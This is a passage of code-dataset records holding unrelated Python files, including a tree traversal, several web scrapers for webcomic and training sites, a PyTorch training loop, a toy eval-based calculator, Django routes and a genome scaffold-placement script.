space O(n)\n def levelOrderV2(self, root: TreeNode) -> List[List[int]]:\n result = []\n def traverse(result, d, node):\n if not node:\n return\n if len(result) <= d:\n result.append([node.val])\n else:\n result[d].append(node.val)\n traverse(result, d+1, node.left)\n traverse(result, d+1, node.right)\n \n traverse(result, 0, root)\n return result\n","sub_path":"102_Binary_Tree_Level_Order_Traversal.py","file_name":"102_Binary_Tree_Level_Order_Traversal.py","file_ext":"py","file_size_in_byte":1736,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"350662826","text":"#_*_coding:utf-8_*_\n#author:sunml\n#time:2018/5/917:38\nimport requests,os\nfrom lxml import etree\n\ndef get_html():\n response=requests.get('http://www.atguigu.com/teacher.shtml')\n html=etree.HTML(response.content)\n return html\n\ndef get_img(html):\n img_list=html.xpath('//div[@class=\"teacher_content\"]/img/@src')\n name_list=[]\n if os.path.exists(r'./image')==False:\n os.mkdir('image')\n for img in img_list:\n img_url='http://www.atguigu.com/'+img\n response = requests.get(img_url)\n name=img.split('/')[1].split('.')[0]\n name_list.append(name)\n with open('./image/'+name+'.jpg','wb') as f:\n f.write(response.content)\n print(name+'.jpg...OK')\n get_text(html,name_list)\n\ndef get_text(html,name_list):\n flg=0\n text_list=[]\n for num in range(1,len(name_list)+1):\n text=html.xpath('//div[@class=\"teacher_content\"]['+str(num)+']//text()')\n text_list.append(text)\n if os.path.exists(r'./text')==False:\n os.mkdir('text')\n for texts in text_list:\n strs=''\n for text in texts:\n strs+=text\n name=name_list[flg]\n with open('./text/'+name+'.txt','w') as f:\n f.write(strs.replace(' ',''))\n print(name+'.txt...OK')\n flg+=1\n\n\nif __name__ == '__main__':\n html=get_html()\n get_img(html)\n","sub_path":"爬虫/day03_0509/尚硅谷讲师.py","file_name":"尚硅谷讲师.py","file_ext":"py","file_size_in_byte":1361,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"90285493","text":"import requests\nimport json\nimport sys\n\ndef retrieve_chain(symbol):\n \"\"\"Get options chain of symbol provided from finance API.\n\n Arguments:\n symbol -- string - ticker of stock to view options chain\n\n Return:\n options_chain -- dict\n \"\"\"\n base_url = \"https://query2.finance.yahoo.com/v7/finance/options/\"\n query_url = base_url + symbol\n try:\n r = requests.get(query_url)\n options_chain = json.loads(r.text)['optionChain']['result'][0]\n return options_chain\n except:\n sys.exit()\n\ndef parse_underlying(options_chain):\n \"\"\"Get current stock quote of ticker provided.\n\n Arguments:\n options_chain -- dict\n\n Return:\n quote -- list\n \"\"\" \n q = options_chain['quote']\n symbol = q['symbol']\n name = q['longName']\n current_price = q['regularMarketPrice']\n open_price = q['regularMarketOpen']\n day_high_price = q['regularMarketDayHigh']\n day_low_price = q['regularMarketDayLow']\n quote = [symbol, name, current_price, open_price, day_high_price, day_low_price]\n return quote\n\ndef join_contracts(options_chain):\n \"\"\"Combine all calls and puts into single list of contracts.\n\n Arguments:\n options_chain -- dict\n\n Return:\n contracts -- list\n \"\"\"\n contracts = options_chain['options'][0]\n calls = contracts['calls']\n puts = contracts['puts']\n contracts = calls + puts\n return contracts\n\ndef parse_strikes(options_chain):\n \"\"\"Read available strike prices and list in order.\n\n Arguments:\n options_chain -- dict\n\n Return:\n strikes -- list\n \"\"\"\n strikes = options_chain['strikes']\n strikes.sort()\n return strikes\n\ndef parse_contract(contract):\n \"\"\" \n contract : list\n \"\"\"\n contract = contract['contractSymbol']\n strike = contract['strike']\n bid_price = contract['bid']\n ask_price = contract['ask']\n last_price = contract['lastPrice']\n volume = contract['volume']\n open_interest = contract['openInterest']\n itm = contract['inTheMoney']\n contract_details = [contract, strike, bid_price, ask_price, last_price, volume, open_interest, itm]\n return contract_details\n\ndef analyze_contract(contract):\n \"\"\"\n contract : list\n \"\"\"\n\nprint(retrieve_chain('QQQ'))","sub_path":"opcont.py","file_name":"opcont.py","file_ext":"py","file_size_in_byte":2242,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"250042976","text":"import os\nimport torch\nimport torch.nn as nn\n\nfrom reg.dataset import MoiveDataLoader\nfrom reg.model import SimpleNet\nfrom tqdm import tqdm\n\nlearning_rate = 1e-3\ncustom_dataset = MoiveDataLoader('sample.csv')\ntrain_loader = torch.utils.data.DataLoader(dataset=custom_dataset,\n batch_size=3,\n shuffle=False)\n\ndevice = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu')\nmodel = SimpleNet().to(device)\n\ncriterion = nn.MSELoss()\noptimizer = torch.optim.Adam(model.parameters(), lr=learning_rate)\n\npbar = tqdm(total=50)\n\nfor epoch in range(50):\n total_loss = 0\n cnt = 0\n\n for p, m, c in train_loader:\n person_tensor = p.to(device)\n movie_tensor = m.to(device)\n duration_tensor = c.to(device)\n\n result = model({'movie': movie_tensor, 'person': person_tensor})\n loss = criterion(result, duration_tensor)\n total_loss += loss\n cnt += 1\n\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n\n pbar.update(1)\n pbar.set_description('loss {}'.format(total_loss / cnt))\n\ntorch.save(model.state_dict(), 'model.ckpt')\n","sub_path":"reg/base2.py","file_name":"base2.py","file_ext":"py","file_size_in_byte":1188,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"495611764","text":"import re\r\n\r\nprint(\"#################################\")\r\nprint(\"## Welcome to Magic Calculator ##\")\r\nprint(\"#################################\\n\")\r\nprint(\"Type exit to quit\")\r\nlast_no = 0\r\ndef calculation() :\r\n global last_no\r\n equation = \"\"\r\n if last_no == 0 :\r\n equation = input(\"Enter an equation = \")\r\n else :\r\n equation = input(float(last_no))\r\n if equation == 'exit' :\r\n print(\"Thank you\")\r\n quit()\r\n else :\r\n equation = re.sub('[A-Za-z:()\" \"]' , \" \" , equation)\r\n if last_no == 0 :\r\n last_no = eval(equation)\r\n else :\r\n last_no = eval(str(last_no) + equation)\r\nwhile True :\r\n calculation() ","sub_path":"magic_calculator.py","file_name":"magic_calculator.py","file_ext":"py","file_size_in_byte":603,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"490930123","text":"#!/usr/bin/python\n\n\"\"\"\n Take the genetic map and a blast and a scaffold length file and a scaffold orientation file and create\n pseudochromosomes\n The scaffold orientation file was used only in case when the scaffold does not connect two markers\n\"\"\"\nfrom __future__ import print_function\nimport sys\nimport math\n\nclass PseudoChr:\n\tdef __init__(self):\n\t\tself.markers = dict()\n\t\tself.scaffolds = dict()\n\t\tself.C = 1e6 # this is an ad hoc nucleotide / centimorgan ratio\n\tdef addMarker(self, name, cmorgan):\n\t\tif name in self.markers:\n\t\t\tprint(name, \"already exists\", file=sys.stderr)\n\t\tself.markers[name] = [cmorgan, 0] # we do not know the orientation, so we set it to 0\n\tdef addScaffold(self, scname, mname, startpos, endpos, mstart, mend):\n\t\tif scname not in self.scaffolds:\n\t\t\tself.scaffolds[scname] = list()\n\t\tself.scaffolds[scname].append( [mname, startpos, endpos, mstart, mend] )\n\ndef oriset(pchr, scaff):\n\tfor i in range(1, len(pchr.scaffolds[scaff])):\n\t\tprev = pchr.scaffolds[scaff][i-1]\n\t\tact = pchr.scaffolds[scaff][i]\n\t\tpmp = pchr.markers[prev[0]][0]\n\t\tamp = pchr.markers[act[0]][0]\n\t\tif pmp < amp:\n\t\t\tori = 1\n\t\telse:\n\t\t\tori = -1\n\t\tif prev[1] < prev[2]:\n\t\t\tif pchr.markers[prev[0]][1] != 0 and pchr.markers[prev[0]][1] != ori:\n\t\t\t\tprint(prev[0], \"discepancy\", file=sys.stderr)\n\t\t\tpchr.markers[prev[0]][1] = ori\n\t\telse:\n\t\t\tif pchr.markers[prev[0]][1] != 0 and pchr.markers[prev[0]][1] != ori * -1:\n\t\t\t\tprint(prev[0], \"discepancy\", file=sys.stderr)\n\t\t\tpchr.markers[prev[0]][1] = ori * -1\n\t\tif act[1] < act[2]:\n\t\t\tif pchr.markers[act[0]][1] != 0 and pchr.markers[act[0]][1] != ori:\n\t\t\t\tprint(act[0], \"discepancy\", file=sys.stderr)\n\t\t\tpchr.markers[act[0]][1] = ori\n\t\telse:\n\t\t\tif pchr.markers[act[0]][1] != 0 and pchr.markers[act[0]][1] != ori * -1:\n\t\t\t\tprint(act[0], \"discepancy\", file=sys.stderr)\n\t\t\tpchr.markers[act[0]][1] = ori * -1\n\n# Just read a bounch of files and store it in memory\n\npseudochr = dict()\nfor i in open(sys.argv[1]): \n\tf = i.split()\n\tif f[0] not in pseudochr:\n\t\tpseudochr[f[0]] = PseudoChr()\n\tpseudochr[f[0]].addMarker(f[2], float(f[1]))\n\nblast = open(sys.argv[2])\nfor j in blast:\n\tf = j.split()\n\tfound = False\n\tfor pchr in pseudochr:\n\t\tif f[0] in pseudochr[pchr].markers:\n\t\t\tfound = True\n\t\t\tpseudochr[pchr].addScaffold(f[1], f[0], int(f[8]), int(f[9]), int(f[6]), int(f[7]))\n\tif found == False:\n\t\tprint(f[0], \"not found in genetic map\", file=sys.stderr)\nblast.close()\n\nscafflen = dict()\nlenfile = open(sys.argv[3])\nfor i in lenfile:\n\tf = i.split()\n\tscafflen[f[0]] = int(f[1])\nlenfile.close()\n\nscaffori = dict()\nfor i in open(sys.argv[4]):\n\tfields = i.rstrip().split(',')\n\tscaffori[fields[1]] = int(fields[0]+'1')\n\n# set the orientation of markers in pseudochromosomes\n# using scaffolds with more than one markers\nfor pchr in pseudochr:\n\tfor scaff in pseudochr[pchr].scaffolds:\n\t\tif len(pseudochr[pchr].scaffolds[scaff]) > 1:\n\t\t\toriset(pseudochr[pchr], scaff)\n\t\telif scaff in scaffori:\n\t\t\tori = scaffori[scaff]\n\t\t\tmarker = pseudochr[pchr].scaffolds[scaff][0][0]\n\t\t\tss = pseudochr[pchr].scaffolds[scaff][0][1]\n\t\t\tse = pseudochr[pchr].scaffolds[scaff][0][2]\n\t\t\tif ss > se:\n\t\t\t\tori = ori * -1\n\t\t\tpseudochr[pchr].markers[marker][1] = ori\n\n\n# calculate scaffold positions in pseudochromosomes, where has available\n# marker orientation\nfor pchr in pseudochr:\n\tfor scaff in pseudochr[pchr].scaffolds:\n\t\tentry = pseudochr[pchr].scaffolds[scaff]\n\t\tfor e in entry:\n\t\t\tmarker = pseudochr[pchr].markers[e[0]]\n\t\t\tmarkerstart = marker[0] * pseudochr[pchr].C\n\t\t\tif marker[1] != 0:\n\t\t\t\tori = marker[1] # scaffold orientation\n\t\t\t\tif e[1] > e[2]:\n\t\t\t\t\tori = ori * -1\n\t\t\t\tif ori == 1:\n\t\t\t\t\tscaffstart = markerstart - min(e[1], e[2])\n\t\t\t\telse:\n\t\t\t\t\tscaffstart = markerstart - (scafflen[scaff] - max(e[1], e[2]))\n\t\t\t\tprint(pchr, scaff, scaffstart, scaffstart + scafflen[scaff], ori, sep=\"\\t\")\n\"\"\"\t\t\telse:\n\t\t\t\tif scaff in scaffori:\n\t\t\t\t\tif scaffori[scaff] == 1:\n\t\t\t\t\t\tscaffstart = markerstart - min(e[1], e[2])\n\t\t\t\t\t\t#print(pchr, scaff, scaffstart, scaffstart + scafflen[scaff], 1, sep=\"\\t\")\n\t\t\t\t\telse:\n\t\t\t\t\t\tscaffstart = markerstart - (scafflen[scaff] - max(e[1], e[2]))\n\t\t\t\t\t\t#print(pchr, scaff, scaffstart, scaffstart + scafflen[scaff], -1, sep=\"\\t\")\n\"\"\"\n","sub_path":"scafftogenome.py","file_name":"scafftogenome.py","file_ext":"py","file_size_in_byte":4184,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"416947303","text":"__author__ = 'rmiller'\n__version__ = '0.2'\n\"\"\"\nContains definitions of the various serials that I like to read.\n\"\"\"\nimport urllib\nimport urllib.request\nimport urllib.parse\nimport re\n\nfrom media_types import *\nfrom serials_core import SerialMedia, Page\n\n\nclass XKCD(SerialMedia):\n def __init__(self):\n SerialMedia.__init__(self,\n 'xkcd',\n 'http://www.xkcd.com',\n 'A webcomic of romance, sarcasm, math, and language',\n 'Randall Munroe')\n\n def _find_page_data(self, page):\n page_html = self.download_html(page.url)\n image_html = page_html.find('div', id='serial').img\n if image_html:\n title_text = ''\n\n if image_html.has_attr('title'):\n title_text = image_html['title']\n ImageMedia(page, str(page.index),\n MediaCategories.illustration).download_to_local(\n 'http:' + image_html['src'])\n\n TextMedia(page, str(page.index), MediaCategories.description).download_to_local(\n title_text)\n\n def _fetch_remote_page_list(self):\n archive = self.download_html(self.url + '/archive/').find('div', id='middleContainer')\n links = archive.find_all('a')\n return [Page(self, link.text, self.url + link['href'], int(link['href'][1:-1]),\n metadata={'data published': link['title']}) for link in links]\n\n\nclass StandStillStaySilent(SerialMedia):\n def __init__(self):\n SerialMedia.__init__(self,\n 'Stand Still. Stay Silent.',\n 'http://www.sssscomic.com/',\n '\"Stand Still. Stay Silent\" is a post apocalyptic webcomic with elements from Nordic mythology, '\n 'set 90 years in the future. It\\'s mostly a story about friendship and exploring a forgotten '\n 'world, with some horror, monsters and magic on the side.',\n 'Minna Sundberg')\n\n def _find_page_data(self, page):\n page_html = self.download_html(page.url)\n image_html = page_html.find('img', {'class': 'comicnormal'})\n if image_html:\n return self.url + image_html['src']\n\n def _fetch_remote_page_list(self):\n archive_divs = self.download_html(self.url + 'index.php?index=archive').find_all('div',\n {'class': 'archivediv'})\n\n pages = []\n for chapter in archive_divs:\n print(chapter)\n chapter_name = chapter.find('h2').text\n links = chapter.find_all('a')\n\n pages.append(\n Page(self, links[0].text.strip(), self.url + links[0]['href'], len(pages) + 1, path=[chapter_name]))\n for a in links[1:]:\n name = a.text.strip()\n url = self.url + a['href']\n\n pages.append(Page(self, name, url, len(pages) + 1, path=[chapter_name, name]))\n return pages\n\n\nclass RedMoonRising(SerialMedia):\n def __init__(self):\n SerialMedia.__init__(self,\n 'Red Moon Rising',\n 'http://www.redmoonrising.org/',\n 'Red Moon Rising is a full-colour steampunk fantasy webcomic set in the midst of a magic-fuelled'\n 'industrial society, following one person’s mistake and the knock-on effect it has on the people'\n 'and the world around them.',\n 'Rose Loughran')\n\n def _find_page_data(self, page):\n page_html = self.download_html(page.url)\n if page_html:\n url = page_html.find('section', id='webcomic').img['src']\n ImageMedia(page, page.name, MediaCategories.illustration).download_to_local(url)\n\n def __fetch_chapter(self, chapter, part_name, chapter_name, pages):\n pages.append(Page(self, chapter_name, chapter[0]['href'], len(pages) + 1, path=[part_name, chapter_name]))\n for link in chapter[1:]:\n name = link.text\n url = link['href']\n pages.append(Page(self, name, url, len(pages) + 1, path=[part_name, chapter_name, name]))\n\n def __fetch_part(self, part_url, pages):\n part_page = self.download_html(part_url).find('div', {'class': 'content'}).center\n part_name = part_page.find('h1').text\n\n chapter_headers = part_page.find_all('h6')\n for chapter_header in chapter_headers:\n chapter_element = chapter_header.parent.find_next_sibling('p')\n\n chapter = chapter_element.find_all('a')\n\n pages.append(Page(self, part_name, chapter[0]['href'], len(pages) + 1, path=[part_name]))\n self.__fetch_chapter(chapter[1:], part_name, chapter_header.text, pages)\n\n def __fetch_parts(self, page):\n archives = page.find('a', href='http://www.redmoonrising.org/archives/').find_next_sibling('ul')\n # print(archives)\n pages = []\n for a in archives.find_all('a'):\n part_url = a['href']\n self.__fetch_part(part_url, pages)\n return pages\n\n def _fetch_remote_page_list(self):\n return self.__fetch_parts(self.download_html(self.url))\n\n\nclass Lackadaisy(SerialMedia):\n def __init__(self):\n SerialMedia.__init__(self,\n 'Lackadaisy',\n 'http://lackadaisy.foxprints.com/',\n '',\n 'Tracy Butler')\n\n def _find_page_data(self, page):\n page_html = self.download_html(page.url)\n\n ImageMedia(page, str(page.name),\n MediaCategories.illustration).download_to_local(\n page_html.find('div', id='content').img['src'])\n\n def _fetch_remote_page_list(self):\n archive = self.download_html(self.url + 'archive.php').find('div', id='archives')\n links = archive.find_all('a')\n link_count = 0\n pages = []\n for link in links:\n pages.append(Page(self, link.text, self.url + link['href'], link_count))\n link_count += 1\n return pages\n\n\nclass PhonixRequiem(SerialMedia):\n def __init__(self):\n SerialMedia.__init__(self,\n 'The Phonix Requiem',\n 'http://requiem.seraph-inn.com/',\n 'The Phoenix Requiem is a Victorian-inspired supernatural fantasy story about faith, love, '\n 'death, and the things we believe in.',\n 'Sarah Ellerton')\n\n def _find_page_data(self, page):\n page_html = self.download_html(page.url)\n try:\n img = page_html.find('div', {'class': 'main'}) \\\n .find('table') \\\n .find('tr') \\\n .find('td') \\\n .find('a', recursive=False) \\\n .img['src']\n url = 'http://requiem.seraph-inn.com/' + img\n ImageMedia(page, page.name, MediaCategories.illustration).download_to_local(url)\n except AttributeError:\n pass\n\n def _fetch_remote_page_list(self):\n archive = self.download_html(self.url + 'archives.html').find('div', {'class': 'main'}).find('table').find_all(\n 'tr', recursive=False)\n\n pages = []\n for chapter in archive[1:]:\n if chapter.find('h2'):\n chapter_name = chapter.find('h2').text\n links = chapter.find_all('a')\n\n pages.append(Page(self, chapter_name, self.url + links[0]['href'], len(pages) + 1, path=[chapter_name]))\n\n for link in links[1:-1]:\n pages.append(\n Page(self, link.text, self.url + link['href'], len(pages) + 1, path=[chapter_name, link.text]))\n return pages\n\n\nclass WildeLife(SerialMedia):\n def __init__(self):\n SerialMedia.__init__(self,\n 'Wilde Life',\n 'http://www.wildelifecomic.com/',\n 'Wilde Life is a supernatural adventure/horror series set in a small town in rural Oklahoma. '\n 'It focuses on stories centered around creatures from Native American mythology.',\n 'Pascalle Lepas')\n\n def _find_page_data(self, page):\n page_html = self.download_html(page.url)\n image_html = page_html.find('img', id='cc-serial')\n if image_html:\n ImageMedia(page, page.name, MediaCategories.illustration).download_to_local(image_html['src'])\n\n def _fetch_remote_page_list(self):\n archive = self.download_html(self.url + 'serial/archive/').find('select')\n links = archive.find_all('option')\n pages = []\n for link in links:\n if link['value']:\n pages.append(Page(self, link.text, self.url + 'serial/' + link['value'], len(pages) + 1))\n return pages\n\n\nclass MareInternum(SerialMedia):\n def __init__(self):\n SerialMedia.__init__(self,\n 'Mare Internum',\n 'http://www.marecomic.com/',\n 'Mare Internum is an online science fiction graphic novel about the isolated inhabitants of the '\n 'planet Mars. It updates several times a week, mostly T/Th.',\n 'Der-shing Helmer')\n\n def _find_page_data(self, page):\n page_html = self.download_html(page.url)\n image_html = page_html.find('div', id='serial').img\n if image_html:\n ImageMedia(page, page.name, MediaCategories.illustration).download_to_local(image_html['src'])\n\n def _fetch_remote_page_list(self):\n chapters = self.download_html(self.url + 'archive/').find_all('div', {'class': 'serial-archive-chapter-wrap'})\n pages = []\n for chapter in chapters:\n chapter_name = chapter.find('h3').text\n links = chapter.find_all('a')\n pages.append(Page(self, chapter_name, links[0]['href'], len(pages) + 1, path=[chapter_name]))\n for link in links[1:]:\n name = link['title'][len(chapter_name + ', '):]\n pages.append(Page(self, name, link['href'], len(pages) + 1, path=[chapter_name, name]))\n return pages\n\n\nclass PowerNap(SerialMedia):\n def __init__(self):\n SerialMedia.__init__(self,\n 'Power Nap',\n 'http://www.powernapcomic.com/',\n 'A science fiction story heavily oriented towards action and humor, and we hope you\\'ll join us '\n 'in this weird adventure every Monday-Wednesday-Friday!',\n 'Maritza Campos + Bachan')\n\n def _find_page_data(self, page):\n page_html = self.download_html(page.url)\n image_html = page_html.find('table', align='center', valign='middle').tr.td.center.img\n if image_html:\n url = image_html['src'].replace('\\n', '')\n\n ImageMedia(page, page.name, MediaCategories.illustration).download_to_local(url)\n\n def _fetch_remote_page_list(self):\n archive = self.download_html(self.url + 'archives.html').find_all('p', {'class': 'news'})\n pages = []\n index = 0\n for link in archive:\n index += 1\n pages.append(Page(self, link.text[:-1], link.parent['href'], index))\n return pages\n\n\nclass SerenityRose(SerialMedia):\n def __init__(self):\n SerialMedia.__init__(self,\n 'Serenity Rose',\n 'http://www.heartshapedskull.com/',\n 'Serenity Rose is a WITCH, one of only 57 the world over, a real supernatural oddity.',\n 'Aaron Alexovigh')\n\n def _find_page_data(self, page):\n page_html = self.download_html(page.url)\n image_html = page_html.find('div', id='serial').a.img\n if image_html:\n url = image_html['src']\n return url\n\n def _fetch_remote_page_list(self):\n archive = self.download_html('http://www.heartshapedskull.com/category/serials/serenity-rose/').find_all(\n 'div', {'class': 'comicarchiveframe'})\n pages = []\n index = 0\n for link in archive:\n index += 1\n pages.append(Page(self, link.a.img['title'], link.a['href'], index))\n return pages\n\n\nclass GunnerkriggCourt(SerialMedia):\n def __init__(self):\n SerialMedia.__init__(self,\n 'Gunnerkrigg Court',\n 'http://www.gunnerkrigg.com/',\n 'My name is antimony carver. I would like to share with you the strange events that took '\n 'place while I attended school at... ',\n 'Tom Siddell')\n\n def _find_page_data(self, page):\n page_html = self.download_html(page.url)\n image_html = page_html.find('img', {'class': 'image'})\n if image_html:\n url = self.url + image_html['src']\n ImageMedia(page, page.name, MediaCategories.illustration).download_to_local(url)\n\n def _fetch_remote_page_list(self):\n archive = self.download_html('http://www.gunnerkrigg.com/archives/').find_all('select', {'name': 'page'})\n pages = []\n for select in archive:\n for option in select.find_all('option'):\n pages.append(Page(self, option['value'], self.url + '?p=' + option['value'], len(pages) + 1))\n return pages\n\n\nclass Blindsprings(SerialMedia):\n def __init__(self):\n SerialMedia.__init__(self,\n 'Blindsprings',\n 'http://www.blindsprings.com/',\n 'It\\'s a magical adventure story about growing up that I spend way too long on.',\n 'Kadi Fedoruk')\n\n def _find_page_data(self, page):\n page_html = self.download_html(page.url)\n image_html = page_html.find('img', id='cc-serial')\n if image_html:\n url = image_html['src']\n ImageMedia(page, page.name, MediaCategories.illustration).download_to_local(url)\n\n def _fetch_remote_page_list(self):\n archive = self.download_html('http://www.blindsprings.com/serial/archive').find_all('select',\n {'name': 'serial'})\n pages = []\n index = 0\n for select in archive:\n for option in select.find_all('option'):\n value = option['value']\n name = '{}. {}'.format(index, value)\n url = 'http://www.blindsprings.com/serial/{}'.format(value)\n pages.append(Page(self, name, url, index=index))\n index += 1\n return pages\n\n\nclass Propeller(SerialMedia):\n def __init__(self):\n SerialMedia.__init__(self,\n 'Propeller',\n 'http://www.propellercomic.com/',\n '',\n 'Ricardo Mo',\n 'Henry Ponciano & Alberto Murel & HdE & Rodolfo Reyes')\n\n def __download_chapter_page(self, page, chapter_index, pages):\n next_page = page.find('a', {'class': 'next'})\n chapter_name = page.find('section', id='content').find('div').find('h2').text[13:]\n for div in page.find_all('div', {'class': 'webcomic'}):\n href = div.a['href']\n name = div.parent.h1.text\n\n chapter_cover = 'title' in name\n\n results = re.search(r\"(\\d+)\", name)\n page_number = '{}. 0'.format(chapter_index)\n if results and results.group(0):\n page_number = \"{}. {}\".format(chapter_index, results.group(0))\n\n published_data = div.parent.find('a', rel='bookmark').text\n\n pages.append(\n Page(self, name, href, page_number,\n metadata={'published_date': published_data, 'chapter_name': chapter_name,\n 'chapter_cover': chapter_cover}))\n\n if next_page:\n self.__download_chapter_page(self.download_html(self.url + next_page['href']), chapter_index, pages)\n\n def __download_chapter(self, url, chapter_index, pages):\n page = self.download_html(url)\n\n chapter_pages = []\n\n self.__download_chapter_page(page, chapter_index, chapter_pages)\n pages += sorted(chapter_pages, key=lambda page: int(page.id.split('. ')[1]))\n\n def _fetch_remote_page_list(self):\n main_page = self.download_html('http://www.propellercomic.com/')\n\n chapters_list = main_page.find_all('li', {'class': 'webcomic_storyline-item'})\n\n pages = []\n chapter_index = 0\n for chapter in chapters_list:\n url = chapter.a['href']\n self.__download_chapter(url, chapter_index, pages)\n chapter_index += 1\n return pages\n\n def _find_page_data(self, page):\n page_html = self.download_html(page.url)\n image = page_html.find('span', {'class': 'webcomic-object-full'}).img\n url = 'http://' + urllib.parse.quote(image['src'][7:])\n return url\n\n\nclass StrongFemaleProtagonist(SerialMedia):\n def __init__(self):\n SerialMedia.__init__(self,\n 'Strong Female Protagonist',\n 'http://strongfemaleprotagonist.com/',\n 'SFP follows the adventures of a young middle-class American with super-strength, invincibility'\n 'and a crippling sense of social injustice.',\n 'Brennan Lee Mulligan',\n 'Molly Ostertag',\n http_header={\n 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',\n 'User-Agent': 'Mozilla/5.0'\n })\n\n def _find_page_data(self, page):\n html = self.download_html(page.url)\n image_html = html.find('article', {'class': 'post'})\n if image_html:\n url = image_html.img['src']\n if self.url not in url:\n url = self.url + url\n ImageMedia(page, page.name, MediaCategories.illustration).download_to_local(url)\n\n def __fetch_issue(self, issue_element, pages):\n issue_name = issue_element.find('span').text\n ul = issue_element.find_all('li')\n pages.append(Page(self, issue_name, ul[0].a['href'], len(pages) + 1, path=[issue_name]))\n for li in ul[1:]:\n name = li.a.text\n url = li.a['href']\n pages.append(Page(self, name, url, len(pages) + 1, path=[issue_name, name]))\n\n def _fetch_remote_page_list(self):\n html = self.download_html('http://strongfemaleprotagonist.com/issue-1/page-0/')\n\n archive = html.find('div', {'class': 'archive-link'}).ul\n pages = []\n for li in archive.find_all('li', recursive=False):\n self.__fetch_issue(li, pages)\n return pages\n\n\nclass RomanticallyApocalyptic(SerialMedia):\n def __init__(self):\n SerialMedia.__init__(self,\n 'Romantically Apocalyptic',\n 'http://romanticallyapocalyptic.com/',\n 'WHOOPS. I DROPPED THE UNIVERSE. IT WAS AN ACCIDENT, I SWEAR. IT\\'S STILL GOOD, RIGHT? '\n 'DOES ANYONE HAVE DUCT TAPE?',\n 'Vitaly S Alexius')\n\n def _find_page_data(self, page):\n page_html = self.download_html(page.url)\n url = page_html.find('div', {'class': 'comicmid'}).find('img')['src']\n\n narrative_html = page_html.find('div', {'class': 'stand_high'})\n\n ImageMedia(page, page.name, MediaCategories.illustration).download_to_local(url)\n HTMLMedia(page, page.name, MediaCategories.narrative).download_to_local(narrative_html)\n\n def _fetch_page(self, page, pages):\n archive = page.find_all('div', {'class': 'thumb_box_smallthumb'})\n for comic in archive:\n link = comic.find_all('a')[1]\n name = link.text\n href = link['href']\n pages.append(Page(self, name, href, len(pages) + 1))\n\n def _fetch_remote_page_list(self):\n archive_first_page = self.download_html('http://romanticallyapocalyptic.com/archives')\n archive_pages = [archive_first_page]\n archive_pages += [self.download_html(a['href']) for a in\n archive_first_page.find('div', {'class': 'formato'}).find('center', recursive=False).find_all(\n 'a')]\n\n pages = []\n for page in archive_pages:\n self._fetch_page(page, pages)\n\n return pages\n","sub_path":"serial_lists/serial_list.py","file_name":"serial_list.py","file_ext":"py","file_size_in_byte":21091,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"399660153","text":"import sqlite3\nDATABASE = 'app.db'\n\n\ndef dict_factory(cursor, row):\n d = {}\n for idx, col in enumerate(cursor.description):\n d[col[0]] = row[idx]\n return d\n\n\n# Database functions\nclass Database:\n def __init__(self, database):\n self.db = sqlite3.connect(database, check_same_thread=False)\n self.db.row_factory = dict_factory\n\n def close(self):\n self.db.close()\n\n def query(self, query, params=None, one=True):\n if not params:\n params = []\n\n c = self.db.cursor()\n result = None\n if one:\n result = c.execute(query, params).fetchone()\n else:\n result = c.execute(query, params).fetchall()\n\n self.db.commit()\n return result\n\ndb = Database(DATABASE)\n","sub_path":"api/app/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":771,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"490304516","text":"from django.conf.urls import url\nfrom . import views\n\nurlpatterns = [\n url(r'^$',views.index,name='index'),\n url(r'^register',views.register,name='register'),\n url(r'^login',views.login,name='login'),\n url(r'^travels$',views.travel,name='travel'),\n url(r'^logout',views.logout,name='logout'),\n url(r'^travels/add',views.addTravel,name='addTravel'),\n url(r'^submitTrip',views.submitTrip,name='submitTrip'),\n url(r'^joinTrip/(?P[0-9]+)',views.joinTrip,name='joinTrip'),\n url(r'^trip/(?P[0-9]+)',views.trip,name='trip')\n]\n","sub_path":"apps/travelBuddy/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":554,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"8078702","text":"\"\"\"\nBasic use:\n download(year)\n build(year)\n read_dataframe(year)\n\nHelpers:\n whatis(column_name)\n locate(year)\n inspect(year)\n make_url(year) #does not show html page\n\"\"\"\n\nfrom boo.year import make_url\nfrom boo.path import locate\nfrom boo.curl import curl\nfrom boo.file import yield_rows, save_rows, read_df\nfrom boo.columns import CONVERTER_FUNC, SHORT_COLUMNS\nfrom boo.dataframe.canonic import canonic_df\n\n\ndef preclean(path, force: bool):\n \"\"\"Delete an exisiting file at *path* if *force* flag is set to True\"\"\"\n if force is True and path.exists():\n path.unlink()\n\n\ndef force_message(year, verb):\n return f\"Use {verb}({year}, force=True) to overwrite existing file.\"\n\n\ndef download(year: int, force=False, directory=None):\n \"\"\"Download file from Rosstat web site.\"\"\"\n raw_file = locate(year, directory).raw\n path = raw_file.path\n url = make_url(year)\n preclean(path, force)\n if not path.exists():\n print(f\"Downloading source file for {year} from\", url)\n curl(path, url)\n print(\"Saved as\", raw_file)\n else:\n print(\"Already downloaded:\", raw_file)\n print(force_message(year, \"download\"))\n return path\n\n\ndef build(year, force=False, directory=None,\n worker=CONVERTER_FUNC,\n column_names=SHORT_COLUMNS.all):\n \"\"\"Create smaller CSV file with fewer columns.\n Columns have names as in *COLUMNS_SHORT*.\n Rows will be modified by *worker* function.\n \"\"\"\n loc = locate(year, directory)\n src, dst = loc.raw, loc.processed\n if dst.exists() and not force:\n print(\"Already built:\", dst)\n print(force_message(year, \"build\"))\n return\n preclean(dst.path, force)\n src.assert_exists()\n if not dst.exists():\n print(\"Reading from\", 